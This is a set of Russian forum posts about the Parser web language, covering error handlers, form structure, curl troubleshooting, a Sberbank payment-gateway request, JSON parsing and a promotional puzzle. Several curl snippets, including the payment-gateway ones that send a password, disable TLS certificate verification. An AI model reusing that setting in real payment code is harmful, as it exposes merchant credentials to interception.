rpm	audio/x-pn-realaudio-plugin\
rss	application/rss+xml\
rtf	application/rtf\
svg	image/svg+xml\
swf	application/x-shockwave-flash\
tar	application/x-tar\
tgz	application/x-gzip\
tif	image/tiff\
txt	text/plain\
wav	audio/x-wav\
xls	application/vnd.ms-excel\
xlsx	application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\
xml	text/xml\
xsl	text/xml\
zip	application/zip\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]\
\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
	^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
	<hr/>\
	<table>\
	^stack.menu{\
		<tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
	}\
	</table>\
}\
]\
\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log or in debug version of unhandled_exception.</p>\
\
]\
\
\
@is_developer[]\
#change mask to your ip address\
$result(def $env:REMOTE_ADDR && ^env:REMOTE_ADDR.match[^^127\\.0\\.0\\.1^$])\
\
\
@unhandled_exception[exception;stack]\
#developer? use debug version to see problem details\
^if(^is_developer[]){\
	^unhandled_exception_debug[$exception;$stack]\
}{\
	^if($exception.type eq \"file.missing\"){\
#		^log404[]\
#		^location[/404/]\
		$response:status(404)\
	}{\
		^unhandled_exception_release[$exception;$stack]\
	}\
}\
\
\
@auto[]\
#source/client charsets\
#$request:charset[utf-8]\
$request:charset[windows-1251]\
$response:charset[utf-8]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://l:p@localhost/counter1?charset=utf8]\
#$SQL.connect-string[sqlite://db]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
HH24:MI:SS&ClientCharset=WINDOWS-1251][/code]"
"84485","Дело в коде, который вы написали. Разберитесь как устроен протокол http и работают html-формы, научитесь работать с developer tools в браузерах и читать логи на сервере. После этого спокойно разберитесь в своем коде и найдите в нем ошибку. \
\
У вас есть все инструменты, чтобы [b]найти свою ошибку[/b]. Форум вам в этом не поможет.\
\
p.s. Код — это вся совокупность текстов на Парсере, html, js."
"84486","Замените свою непрерывную последовательность операторов на логические части — функции. Вывод, проверка, обработка и возврат результата — это разные задачи, которые можно и нужно разнести по функциям. \
\
Внутри функции, как написал Moko, можно использовать return, и throw для неявного «goto» (break и  continue в циклах — это тоже неявный goto).\
\
Пример:\
\
[code]\
@main[][locals]\
^try{\
  ^if(^request:method.lower[] eq \"post\"){\
    $lErrors[^validateForm[$form:fields]]\
    ^if(!$lErrors){\
      ^processForm[$form:fields]\
      ^redirectTo[/form/action/result]\
    }\
  }\
  ^printForm[$form:fields;$lErrors]   \
}{\
  ^if($exception.type eq \"http.redirect\"){\
     $exception.handled(true)\
     $response:status[$exception.source]\
     $response:location[$exception.comment]\
  }\
}\
\
@redirectTo[aURL]\
  ^throw[http.redirect;302;$aURL]\
\
@printForm[aData;aErrors]\
  $aData[^hash::create[$aData]]\
  $aErrors[^hash::create[$aErrors]]\
  <form method=\"post\">\
     <label class=\"^if(def $aErrors.field1){error}\">Поле 1\
       <input type=\"text\" name=\"field1\" value=\"$aData.field1\">\
     </label>\
     ^if(def $aErrors.[field1]){\
       <p class=\"error-message\">$aErrors.field1</p>\
     }\
     <input type=\"submit\" />\
  </form>\
\
@validateForm[aFormData]\
  $result[^hash::create[]]\
  ^if(!def $aFormData.field1){\
    $result.field1[Заполните поле.]\
  }\
\
@processForm[aFormData]\
  ...\
[/code]"
"84491","нагуглить не получается, на форуме тоже"
"84494","Столкнулся с проблемой [quote]'session' failed to load curl library libcurl.so: libcurl.so: cannot open shared object file: No such file or directory [curl][/quote] в Ubuntu 16.04.\
\
Нагуглил такое решение: \
\
[code]sudo apt-get install libcurl4-openssl-dev[/code]"
"84495","Ну так это надо все файлы сайта в UTF-8 переводить и потом разбираться где что сломается. Сделаем когда-нибудь, но пока лень. :)"
"84496","Коллеги, пятиминутка рекламы.\
Надеюсь, полезной.\
\
Работая над сайтами и их оптимизацией не первый десяток лет, неизменно сталкиваюсь с необходимостью их мониторинга и регрессионного тестирования.\
Инструментов немало, но большинство из них — громоздкие универсальные решения, требующие хостинга, тонкой настройки, администрирования и обслуживания.\
Пользоваться ими тем же маркетологам без навыков программирования сложно.\
\
Как известно, не ошибается тот, кто ничего не делает.\
Неоднократно допускал ошибки сам, не менее часто сталкивался с чужими.\
Совершеннейшая мелочь может привести к очень серьёзным последствиям, на устранение которых уйдут недели и месяцы.\
\
Опечатка в шаблоне страницы при формировании канонической ссылки — и тысячи страниц из-за «склейки» выброшены из поиска.\
Забытый разработчиком robots.txt с «Disallow: /» с тестового поддомена при переезде сайта — и индексация всего сайта запрещена.\
Ошибка в шаблоне — и заголовки большинства страниц испорчены.\
Забытое условие — и на половине страниц сайта пропадают счётчики систем аналитики.\
Ошибка верстальщика в разметке микроданных — и постепенно, но неумолимо у страниц в поиске перестают отображаться расширенные сниппеты.\
\
Заметить такое можно только спустя некоторое время, когда последствия уже наступили.\
Затем следует спешное исправление, переиндексация, медленное восстановление позиций и трафика.\
\
Если работа над сайтом идёт постоянно, то масса совершенно удивительных поломок случается ежедневно.\
Тестирование отдельных частей не спасает. Штатные тестировщики могут вовсе не понимать, что необходимо проверять для мониторинга поисковой оптимизации.\
\
О проблемах могут уведомить инструменты для вебмастеров поисковых систем, но когда эти проблемы обнаружены ими — это сигнал того, что ситуация уже зашла слишком далеко.\
Масса сервисов предлагает лишь простой мониторинг аптайма, максимум — с возможностью поиска на страницах заданной фразы.\
Либо банальную проверку «было—стало», чего недостаточно.\
\
Устав искать подходящий инструмент и разводить зоопарк наколенных решений, решил такой инструмент создать.\
Так появился [url=https://wesimo.com/]сервис мониторинга «Wesimo»[/url].\
\
Конечно, сервис не решает всех на свете проблем, но он может сильно упростить разработчику, тестеру, оптимизатору или маркетологу жизнь.\
Лично меня даже самые простые проверки работающих сайтов не раз спасали от досадных ошибок.\
\
Зачастую владельцы сайтов хотят проверять тысячи и миллионы страниц, но необходимости в этом нет.\
Если всё разнообразие страниц сайта формируется десятком шаблонов — достаточно мониторить по одной странице каждого типа и обходиться минимумом проверок.\
\
Wesimo не будет создавать нагрузку на сайт, непрерывно скачивая его.\
По расписанию загружаются только нужные документы, которые проходят заданные тесты.\
\
Ведётся архив скачанных документов, что позволяет вернуться к нужной версии или выявить изменения.\
\
Оповещения о тестировании по почте и в Телеграме.\
\
На данный момент реализованы базовые, наиболее востребованные тесты.\
Планов много, пока закончено самое основное.\
\
Сервис платный, но цена зависит только от количества и частоты проверок — никаких избыточных «пакетов услуг» выкупать не нужно.\
Две недели все проверки сайта бесплатны.\
\
\
Парсер широко используется внутри — краулер, демоны, очередь задач.\
Большое спасибо Sumo за [url=https://github.com/unhandled-exception/pf2/]pf2[/url] и помощь, moko за нововведения в Парсере!\
\
\
Специально для парсеристов есть подарок, в виде ребуса.\
Решившие его получат 500 рублей на счёт в дополнение к двум бесплатным неделям.\
\
Нужно запустить код ниже, исправив в нём несколько ошибок.\
Результатом будет ссылка с промокодом.\
\
[code]@main[]\
$bonus[^bonus::create[Wesimo — удобный мониторинг для вашего сайта]]\
^bonus.link[]\
\
\
\
@CLASS\
bonus\
\
\
@OPTIONS\
locals\
\
\
@auto[]\
$self.url[https://wesimo.com/]\
$self.param[promocode]\
\
\
@create[title]\
$self.title[^title.replace[^#20;^#5F]]\
\
\
@code[]\
$result[^math:crypt[MD5;$self.title][\
	$.hmac[$self.url|^self.rand.trim[48]]\
]]\
\
$result[^result.left(4;16)]\
$result[^result.replace[5;^self.url.mid(8;1)]]\
\
\
@link[]\
$result[$self.url?$self.param=^self._code[]]\
\
\
@GET_rand[]\
$rand((2 << 15) >> 4.9 \\ (3.1 + ^math:random(8686) / 10000))\
\
$result[$rand][/code]\
\
\
После регистрации каждому пользователю выдаётся своя промоссылка, по которой можно пригласить друзей.\
Пригласивший и приглашённый получают по 500 рублей на счёт.\
\
\
Есть предложение или отзыв, требуется консультация по тестам — обращайтесь."
"84497","Как проявляется\
есть метод\
[code]@upploadFile[....]\
...\
$oImg[^NConvert::create[....]]\
^oImg.watermark[...]\
[/code]\
При этом в методе используются $result(1/0) для возврата статуса.\
Падает при обращение к ^oImg.watermark[...], если завернуть ответ в какую-то переменную, то все начинает работать.\
Прочитав изменения в 3.4.4 и 3.4.5, не заметил какое-то глобальное изменение в поведение result, было только в 3.4.3 но в нем все прекрасно работает.\
\
PS чтобы не надо было далеко ходить\
[code]@watermark[sFileSrc;sFileDest;sWMFile;hParams][fResult]\
$hParams[^self._prepareParams[$hParams]]\
\
^if(def $hParams.sPosition && (def $hParams.iX || def $hParams.iY)){\
	^throw[$sClassName;watermark;Only position or coordinates can be specified]\
}\
\
^if(def $sWMFile){\
	^if(!-f $sWMFile){\
		^throw[$sClassName;watermark;File '$sWMFile' not found]\
	}\
}{\
	^throw[$sClassName;watermark;Watermark image MUST be specified]\
}\
\
^hParams.add[\
	^self._getFiles[watermark;$sFileSrc;$sFileDest;$hParams.sFormat;$hParams]\
	$.sWMFile[$sDocRoot/$sWMFile]\
	^if(def $hParams.sPosition){\
		$.sPosition[^self._getPosition[watermark;$hParams.sPosition]]\
	}\
]\
\
$fResult[^self._exec[watermark;$hParams]]\
\
$result($fResult.status)[/code]\
\
[code]@_exec[sAction;hParams]\
^if($hParams.sFormat ne \"gif\"){\
	^hParams.delete[iColors]\
}\
$result[^switch[$sAction]{\
	^case[info]{^file::exec[$sScript;;-info;$hParams.sInput]}\
	^case[convert]{^file::exec[$sScript;;-o;$hParams.sOutput;^if(^hParams.bRemoveMeta.int(0)){-rmeta}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;^if($hParams.iColors){-colors}{-quiet};^if($hParams.iColors){$hParams.iColors}{-quiet};$hParams.sInput]}\
	^case[rotateJPG]{^file::exec[$sScript;;-jpegtrans;$hParams.sAngle;$hParams.sInput]}\
	^case[rotate]{^file::exec[$sScript;;-o;$hParams.sOutput;-rotate;$hParams.iAngle;-bgcolor;$hParams.iR;$hParams.iG;$hParams.iB;^if($hParams.bRemoveMeta){-rmeta}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;^if($hParams.iColors){-colors}{-quiet};^if($hParams.iColors){$hParams.iColors}{-quiet};$hParams.sInput]}\
	^case[crop]{^file::exec[$sScript;;-o;$hParams.sOutput;-crop;$hParams.iX;$hParams.iY;$hParams.iCropWidth;$hParams.iCropHeight;^if($hParams.bRemoveMeta){-rmeta}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;^if($hParams.iColors){-colors}{-quiet};^if($hParams.iColors){$hParams.iColors}{-quiet};$hParams.sInput]}\
	^case[resize]{^file::exec[$sScript;;-o;$hParams.sOutput;-resize;$hParams.sWidth;$hParams.sHeight;^if($hParams.bKeepRatio){-ratio}{-quiet};^if(def $hParams.sFlag){-rflag}{-quiet};^if(def $hParams.sFlag){$hParams.sFlag}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;^if($hParams.iColors){-colors}{-quiet};^if($hParams.iColors){$hParams.iColors}{-quiet};^if($hParams.bRemoveMeta){-rmeta}{-quiet};-rtype;$hParams.sRType;$hParams.sInput]}\
	^case[watermark]{^file::exec[$sScript;;-o;$hParams.sOutput;-wmfile;$hParams.sWMFile;-wmpos;^hParams.iX.int(0);^hParams.iY.int(0);^if(def $hParams.sPosition){-wmflag}{-quiet};^if(def $hParams.sPosition){$hParams.sPosition}{-quiet};^if($hParams.bRemoveMeta){-rmeta}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;$hParams.sInput]}\
	^case[DEFAULT]{^throw[$sClassName;;Action '$sAction' not implemented yet]}\
}]\
#end @_exec[/code]"
"84498","[quote]При этом в методе используются $result(1/0) для возврата статуса.[/quote]\
\
Покажите как возвращается результат метода @upploadFile.\
\
Много лишнего кода, наверняка можно воспроизвести в несколько строк."
"84499","[code]@upploadFile[...]\
\
	^if(-f $name){\
		^self.addError[такой файл уже существует]\
		$result(-1)\
	}{\
#код сохранения временного файла\
		$oImg[^NConvert::create[...]]\
#так падает в 3.4.5		\
		^oImg.watermark[${name}-res;${name};/images/watermark.png;[$.sFormat[jpg]$.iQuality[$iQuality]$.sPosition[bottom-left]]]\
#а так нет\
		$_a[^oImg.watermark[${name}-res;${name};/images/watermark.png;[$.sFormat[jpg]$.iQuality[$iQuality]$.sPosition[bottom-left]]]]\
#еще разный код\
		}{\
			$result(0)\
		}\
	}\
#end @upploadFile[/code]\
Вот самое главное. Весь лишний код в предыдущем посте, это то что вызывается в ^oImg.watermark, это не мои библиотеки, а взятые из https://www.parser.ru/lib/"
"84500","Если\
[code]^oImg.watermark[${name}-res;${name};/images/watermark.png;[$.sFormat[jpg]$.iQuality[$iQuality]$.sPosition[bottom-left]]][/code]\
заменить на\
[code]$result(^oImg.watermark[${name}-res;${name};/images/watermark.png;[$.sFormat[jpg]$.iQuality[$iQuality]$.sPosition[bottom-left]]])[/code]\
чтобы в каждой ветке был свой $result, — ошибка не пропадает?"
"84501","Немного пере сократил, вот так более правильно\
[code]\
@upploadFile[...]\
\
	^if(-f $name){\
		^self.addError[такой файл уже существует]\
		$result(-1)\
	}{\
#код сохранения временного файла\
		$oImg[^NConvert::create[...]]\
#так падает в 3.4.5		\
		^oImg.watermark[${name}-res;${name};/images/watermark.png;[$.sFormat[jpg]$.iQuality[$iQuality]$.sPosition[bottom-left]]]\
#а так нет\
		$_a[^oImg.watermark[${name}-res;${name};/images/watermark.png;[$.sFormat[jpg]$.iQuality[$iQuality]$.sPosition[bottom-left]]]]\
#еще разный код\
		^if(!def $var){\
			$result(-1)\
		}{\
			$result(0)\
		}\
	}\
#end @upploadFile\
[/code]\
Если сделать $result(^oImg.watermark[...]) проходит дальше, но это тоже самое что и $_a[^oImg.watermark[...]], мне собственно на данный момент не требуется статус как оно там прошло. Выше стоит try, который ловит ошибки, т.к. все удачно или идет throw.\
\
Ну такие ошибки есть в других местах, а отлавливать их долго и мучительно.\
\
Вот собственно вопрос это штатное поведение? Если да, то как-то можно на него повлиять не переписывая все?"
"84502","Могу предположить, что дело в декларации $result в разных ветках.\
Где-то его нет, что может вызывать странные явления.\
\
Как советует [url=https://www.parser.ru/docs/lang/definemethod.htm]документация[/url], [i]каждый метод должен или возвращать результат через $result во всех вариантах своего выполнения или не использовать $result вовсе[/i].\
\
[quote]Вот собственно вопрос это штатное поведение? Если да, то как-то можно на него повлиять не переписывая все?[/quote]\
\
Чтобы это выяснить, нужно добиться воспроизведения ошибки.\
Что до исправления — возможно придётся найти такие места и положить результаты выполнения методов в переменные.\
\
Желательно воспроизвести ошибку в виде простого bug.html, вида:\
[code]@main[]\
$result(^one[])\
\
@one[]\
^if(true){\
	^two[]\
}{\
	$result(0)\
}\
\
@two[]\
$result(1)[/code]"
"84503","Не получается повторить в отдельном файле ;(, может быть играет частный случай (определенная вложенность, и вызовы из других классов)\
Попробовал заменить все $result на временную переменную и в конце метода уже сделать $result($tmpResult), все равно ловлю ошибку.\
Плохо что код старый, придется пока старой версии сидеть, как будет время попробую отловить причину и воспроизвести."
"84504","Странно, что в исключении речь об int, а не о double.\
То есть искать нужно не [code]$result(1)[/code], а например [code]$result(^var.int(0))[/code]\
\
На какую именно строку указывает исключение?"
"84505","Приветствую всех гуру парсера! Ткните носом не могу сообразить как реализовать подключение платежного модуля к сайту. Сайт на парсере, пробовал реализовать REST-схему. При обращении к шлюзу передаются GET-запросом номер заказа, сумма, логин и ПАРОЛЬ, страницу куда надо вернуться после окончания платежа. Возвращает JSON объект с номером платежа и ссылку на форму платежа, после обработки платежа возвращается на страницу переданную в первом запросе. Кто сталкивался, расскажите как реализовывали пожалуйста. \
Пробовал просто перекинуть на страницу шлюза при помощи $response:refresh, получилось плохо. Во первых в адресной строке видно-логин пароль, во вторых естесвенно показывает не разобранный JSON.\
Как второй вариант пробовал через AJAX запрос запускаемый со стороны сервера с попыткой отдать результат работы обратно в браузер. Не получилось, напоролся на ошибку с кросс-серверными запросами.\
Попытался использовать curl, ничего не получилось, висит и в отге отваливается по таймауту.\
Подскажите пожалуйста куда копать. Наверное не догоняю чего-то. Заранее спасибо за ответ."
"84506","Большинство платёжных систем работает по общему принципу:\
1. продавец формирует заказ и подписывает его условленным с платёжной системой образом, используя общий секрет;\
2. продавец перенаправляет пользователя на сайт платёжной системы, передавая в запросе сформированный на предыдущем шаге заказ;\
3. платёжная система обрабатывает запрос, проверяет подпись и свойства заказа, делает запрос к продавцу по условленному адресу, ожидая подтверждения корректности и актуальности заказа;\
4. пользователь оплачивает заказ;\
5. платёжная система уведомляет продавца об успешной оплате заказа, делая запрос на условленный адрес сайта продавца;\
6. пользователь перенаправляется с сайта платёжной системы на условленную страницу продавца, где может получить оплаченный товар или услугу.\
\
Подробности — в документации на API конкретной платёжной системы."
"84507","Проблема уже на первом пункте\
1. продавец формирует заказ и подписывает его условленным с платёжной системой образом, используя общий секрет;\
Ниже из документации:\
[i]Пример запроса GET:\
https://3dsec.sberbank.ru/payment/rest/register.do?amount=100&currency=643&language=ru&orderNumber=87654321&password=password&returnUrl=https://3dsec.sberbank.ru/payment/finish.html&userName=r\":1234567890}&pageView=DESKTOP&expirationDate=2014-09-08T14:14:14&merchantLogin=merch_child&features=AUTO_PAYMENT[/i]\
\
[i]Пример ответа:\
{\"orderId\":\"70906e55-7114-41d6-8332-4609dc6590f4\",\"formUrl\":\"https://3dsec.sberbank.ru/payment/merchants/\
test/payment_ru.html?mdOrder=70906e55-7114-41d6-8332-4609dc6590f4\"}[/i]\
\
явным методом открыто передается логин и пароль, т.е. я не могу это повесить на кнопку уже по этой причине, но возвращается мне объект который надо еще обработать и открыть уже ту страницу которая передается мне как formUrl, а я не знаю даже как мне отправить запрос на стороне сервера не говоря уже что бы там же получить ответ и пользователя перенаправить уже для оплаты на https://3dsec.sberbank.ru/payment/merchants/\
test/payment_ru.html?mdOrder=70906e55-7114-41d6-8332-4609dc6590f4 где естественно mdOrder всегда разный.\
\
попытка сделать\
[code]$file1[^curl:load[ \
      $.url[https://3dsec.sberbank.ru/payment/rest/register.do] \
      $.postfields[userName=login&password=password&orderNumber=111&amount=100&returnUrl=https://site.ru] \
      $.mode[text]\
      $.charset[UTF-8]\
   ]] [/code]\
приводит к ошибке 504 Gateway Time-out..."
"84508","[quote]явным методом открыто передается логин и пароль[/quote]\
\
Вот [url=https://securepayments.sberbank.ru/wiki/doku.php/integration:api:schemes:start]документация[/url].\
\
[i]Продавец отправляет в платёжный шлюз запрос на регистрацию заказа[/i]\
\
Не покупатель перенаправляется, а магазин делает запрос к шлюзу платёжной системы, получая ответ с адресом и GUID'ом заказа.\
\
[i]4 Продавец перенаправляет плательщику URL-адрес, указанный в параметре formUrl ответа.[/i]\
\
Вот тут уже перенаправление пользователя.\
\
[quote]приводит к ошибке 504 Gateway Time-out[/quote]\
\
Проверьте [url=https://securepayments.sberbank.ru/wiki/doku.php/integration:api:rest:requests:register]передаваемые параметры[/url]."
"84509","[quote]Продавец отправляет в платёжный шлюз запрос на регистрацию заказа\
\
Не покупатель перенаправляется, а магазин делает запрос к шлюзу платёжной системы, получая ответ с адресом и GUID'ом заказа.\
[/quote]\
Можно кусок кода как пример пожалуйста? Как магазин делает запрос к шлюзу платежной системы??? Или я полный торомоз или что-то не так. Я ничего другого кроме как использовать curl не придумал, но не работает...\
\
И если можно кусок точно работающего запроса curl например к яндексу. Есть у меня подозрения что проблема в сервере. \
\
Если просто ставлю запрос в адресную строку браузера то возвращает JSON объект."
"84511","[quote]Можно кусок кода как пример пожалуйста? Как магазин делает запрос к шлюзу платежной системы??? Или я полный торомоз или что-то не так. Я ничего другого кроме как использовать curl не придумал, но не работает...[/quote]\
\
Всё верно, запрос с помощью curl.\
\
[code]$form[\
	$.amount[100]\
	$.currency[643]\
	$.language[ru]\
	$.orderNumber[87654321]\
	$.password[password]\
	$.returnUrl[https://server/applicaton_context/finish.html]\
	$.userName[userName]\
	$.jsonParams[{\"orderNumber\":1234567890}]\
	$.pageView[DESKTOP]\
	$.expirationDate[2014-09-08T14:14:14]\
	$.merchantLogin[merch_child]\
]\
\
^curl:session{\
	$response[^curl:load[\
		$.url[https://3dsec.sberbank.ru/rest/register.do]\
		$.post(true)\
		$.ssl_verifypeer(false)\
		$.failonerror(false)\
		$.httppost[$form]\
	]]\
}[/code]"
"84513","[code]\
^curl:session{\
	$response[^curl:load[\
		$.url[https://www.yandex.ru]\
		$.post(true)\
		$.ssl_verifypeer(false)\
		$.failonerror(false)\
	]]\
}[/code]"
"84514","[code]@main[]\
^curl:session{\
	$response[^curl:load[\
		$.url[https://www.yandex.ru]\
		$.ssl_verifypeer(false)\
	]]\
\
	[$response.status]\
}[/code]\
\
[i][200][/i]"
"84515","[quote]Если просто ставлю запрос в адресную строку браузера то возвращает JSON объект.[/quote]\
\
Если при обращении к адресу из браузера сервер отвечает и возвращает JSON, значит всё работает.\
Нужно проверять параметры запроса.\
\
Попробуйте GET-запрос, с передачей параметров в строке запроса:\
[code]$form[\
	$.amount[100]\
	$.currency[643]\
	$.language[ru]\
	$.orderNumber[87654321]\
	$.password[password]\
	$.returnUrl[https://server/applicaton_context/finish.html]\
	$.userName[userName]\
	$.jsonParams[{\"orderNumber\":1234567890}]\
	$.pageView[DESKTOP]\
	$.expirationDate[2014-09-08T14:14:14]\
	$.merchantLogin[merch_child]\
]\
\
^curl:session{\
	$response[^curl:load[\
		$.url[https://3dsec.sberbank.ru/rest/register.do?^form.foreach[field;value]{$field=^taint[uri;$value]}[&]]\
		$.ssl_verifypeer(false)\
		$.failonerror(false)\
	]]\
\
	[$response.status]\
}[/code]"
"84518","Нужно выяснить что происходит у вас, потом уже делать запросы.\
\
Попробуйте из консоли сервера сделать запрос:\
[code]curl --head https://www.yandex.ru/[/code]\
\
Хотя бы будет понятно работает ли curl из окружения или нет."
"84520","Тех поддержка ответила, из браузера не работает:\
\
 \
% curl --head https://www.yandex.ru/ \
HTTP/1.1 200 Ok \
Date: Fri, 09 Feb 2018 05:55:43 GMT \
Content-Type: text/html; charset=UTF-8 \
Cache-Control: no-cache,no-store,max-age=0,must-revalidate \
Expires: Fri, 09 Feb 2018 05:55:43 GMT \
Last-Modified: Fri, 09 Feb 2018 05:55:43 GMT \
Content-Security-Policy: connect-src 'self' wss://webasr.yandex.net https://mc.webvisor.com https://mc.webvisor.org wss://push.yandex.ru wss://portal-xiva.yandex.net https://yastatic.net https://home.yastatic.net https://yandex.ru https://*.yandex.ru static.yandex.sx brotli.yastatic.net et.yastatic.net portal-xiva.yandex.net yastatic.net home.yastatic.net yandex.ru *.yandex.ru *.yandex.net yandex.st; default-src 'self' blob: wss://portal-xiva.yandex.net yastatic.net portal-xiva.yandex.net; font-src 'self' https://yastatic.net static.yandex.sx brotli.yastatic.net et.yastatic.net yastatic.net; frame-src 'self' yabrowser: data: https://ok.ru https://www.youtube.com https://player.video.yandex.net https://ya.ru https://yastatic.net https://yandex.ru https://*.yandex.ru wfarm.yandex.net yastatic.net yandex.ru *.yandex.ru awaps.yandex.net *.cdn.yandex.net; img-src 'self' data: https://yastatic.net https://home.yastatic.net https://*.yandex.ru https://*.yandex.net https://*.tns-counter.ru ar.tns-counter.ru awaps.yandex.net ad.adriver.ru ad.doubleclick.net ads.adfox.ru bs.serving-sys.com track.rutarget.ru *.tns-counter.ru *.solution.weborama.fr *.yastatic.net gdeua.hit.gemius.pl pa.tns-ua.com mc.yandex.com mc.webvisor.com mc.webvisor.org static.yandex.sx brotli.yastatic.net et.yastatic.net yastatic.net home.yastatic.net yandex.ru *.yandex.ru *.yandex.net *.gemius.pl yandex.st; media-src 'self' blob: data: *.storage.yandex.net yastatic.net kiks.yandex.ru strm.yandex.ru; object-src 'self' *.yandex.net music.yandex.ru strm.yandex.ru yastatic.net kiks.yandex.ru awaps.yandex.net storage.mds.yandex.net; report-uri https://csp.yandex.net/csp?from=big.ru&showid=1518155743.2872.22872.4177&h=f70&yandexuid=3016489461518155743; script-src 'self' 'unsafe-inline' 'unsafe-eval' blob: https://suburban-widget.rasp.yandex.ru https://suburban-widget.rasp.yandex.net https://music.yandex.ru https://mc.yandex.fr https://mc.webvisor.com https://yandex.fr https://mc.webvisor.org https://yastatic.net https://home.yastatic.net https://mc.yandex.ru https://pass.yandex.ru an.yandex.ru api-maps.yandex.ru static.yandex.sx webasr.yandex.net brotli.yastatic.net et.yastatic.net yastatic.net home.yastatic.net yandex.ru www.yandex.ru mc.yandex.ru suggest.yandex.ru clck.yandex.ru awaps.yandex.net; style-src 'self' 'unsafe-inline' https://yastatic.net https://home.yastatic.net static.yandex.sx brotli.yastatic.net et.yastatic.net yastatic.net home.yastatic.net; \
P3P: policyref=\"/w3c/p3p.xml\", CP=\"NON DSP ADM DEV PSD IVDo OUR IND STP PHY PRE NAV UNI\" \
Set-Cookie: yp=1520747743.ygu.1; Expires=Mon, 07-Feb-2028 05:55:43 GMT; Domain=.yandex.ru; Path=/ \
Set-Cookie: mda=0; Expires=Sat, 09-Jun-2018 05:55:43 GMT; Domain=.yandex.ru; Path=/ \
Set-Cookie: yandex_gid=213; Expires=Sun, 11-Mar-2018 05:55:43 GMT; Domain=.yandex.ru; Path=/ \
Set-Cookie: yandexuid=3016489461518155743; Expires=Mon, 07-Feb-2028 05:55:43 GMT; Domain=.yandex.ru; Path=/ \
X-Frame-Options: DENY \
Set-Cookie: i=8LPgWYaPZYodKOL4mpGfaTjXI3GZ+g+sN4c8f//bS6aVZ9dcJJBE4TPxndDZiRtXXh4UvJG3k6xG73LNGDqsrAybL0E=; Expires=Mon, 07-Feb-2028 05:55:43 GMT; Domain=.yandex.ru; Path=/; Secure; HttpOnly \
X-Content-Type-Options: nosniff \
Content-Length: 134765"
"84521","Если доступа к консоли нет, что само по себе странно, попробуйте логировать этапы соединения:\
[code]@main[]\
^log[curl test begin]\
\
^try{\
	^log[try]\
	\
	^curl:session{\
		^log[session]\
		\
		$response[^curl:load[\
			$.url[https://www.yandex.ru]\
			$.ssl_verifypeer(false)\
			$.connecttimeout(5)\
			$.timeout(5)\
		]]\
		\
		^log[loaded ^json:string[^hash::create[$response];$.one-line(true)]]\
	}\
}{\
	$exeption.handled(true)\
	\
	^log[exeption ^json:string[$exeption;$.one-line(true)]]\
}\
\
^log[curl test end]\
\
\
@log[message]\
$message[$message^#0A]\
^message.save[append;/curl.log][/code]"
"84522","На предмет ошибок с инициализацией libcurl. :)"
"84524","Мы же не знаем, что у вопрошающего в auto.p@unhandled_exception прописано. :)"
"84525","https://www.parser.ru/forum/?id=84402"
"84526","[quote]Мы же не знаем, что у вопрошающего в auto.p@unhandled_exception прописано.[/quote]\
\
Разве что, [code]@unhandled_exception[exception;stack]\
^sleep(1000)[/code]"
"84527","Техподдержка попросила таймаут. Предположили что видимо криво работает связка со сторонним  OpenSSL/1.0.2j во FreeBSD-9, штатный OpenSSL/1.0.1s из FreeBSD-10 на другом сервере работает нормально. Есть такая же проблема у другого клиента... Буду ждать 12-го вечера. Не смогут вылечить будут переносить на другой сервер."
"84529","... то значит curl собран с thread resolver. А для Парсера, и не только, лучше собирать с c-ares. :)"
"84530","Было  libcurl/7.52.1 OpenSSL/1.0.2j zlib/1.2.8 nghttp2/1.18.0 \
Стало libcurl/7.52.1 OpenSSL/1.0.2j zlib/1.2.11 nghttp2/1.18.0"
"84531","Приветствую. \
Не удается заставить Парсер схавать ни один JSON. Даже из примера. \
\
$str[{ \
   \"a1\":{\"b\": 1, \"c\": \"xyz\", \"d\": \"zzz\"}, \
   \"a2\":{\"b\": 1, \"b\": 2, \"b\": 3} \
}]\
$c[^json:parse[$str]]\
\
3.4.3"
"84532","Ваш код корректен.\
За исключением ключей с одинаковым именем «b».\
\
Если данные поступают извне, а не написаны в коде, то необходимо [url=https://www.parser.ru/docs/lang/tainting.htm]пометить их как безопасные[/url]:\
[code]$c[^json:parse[^taint[as-is;$str]]][/code]"
"84533","так тоже не работает, с той же ошибкой\
\
$str[{ \
   \"a1\":{\"b\": 1, \"c\": \"xyz\", \"d\": \"zzz\"}, \
   \"a2\":{\"b\": 1} \
}]\
$c[^json:parse[^taint[as-is;$str];$.taint[as-is]]]"
"84534","Стало нормально. \
Подозреваю, проблема была из-за того что в источнике был символ, который у меня в редакторе выглядел как пробел. Я убрал код источника, оставив этот символ, и вставил код из примера. \
После того как я переписал код заново, он заработал."
"84535","[b]Access log[/b]\
&COMMENT=%D1%E2%EE%E1%EE%E4%ED%FB%E9+%EA%EE%EC%EC%E5%ED%F2%E0%F0%E8%E9&\
\
[b]auto.p[/b]\
@auto[]\
#source/client charsets\
#$request:charset[UTF-8]\
$request:charset[windows-1251]\
$response:charset[UTF-8]\
\
[b].html[/b]\
Комментарий $form:COMMENT\
\
[b]ожидаю увидеть в браузере[/b]\
Комментарий Свободный+комментарий\
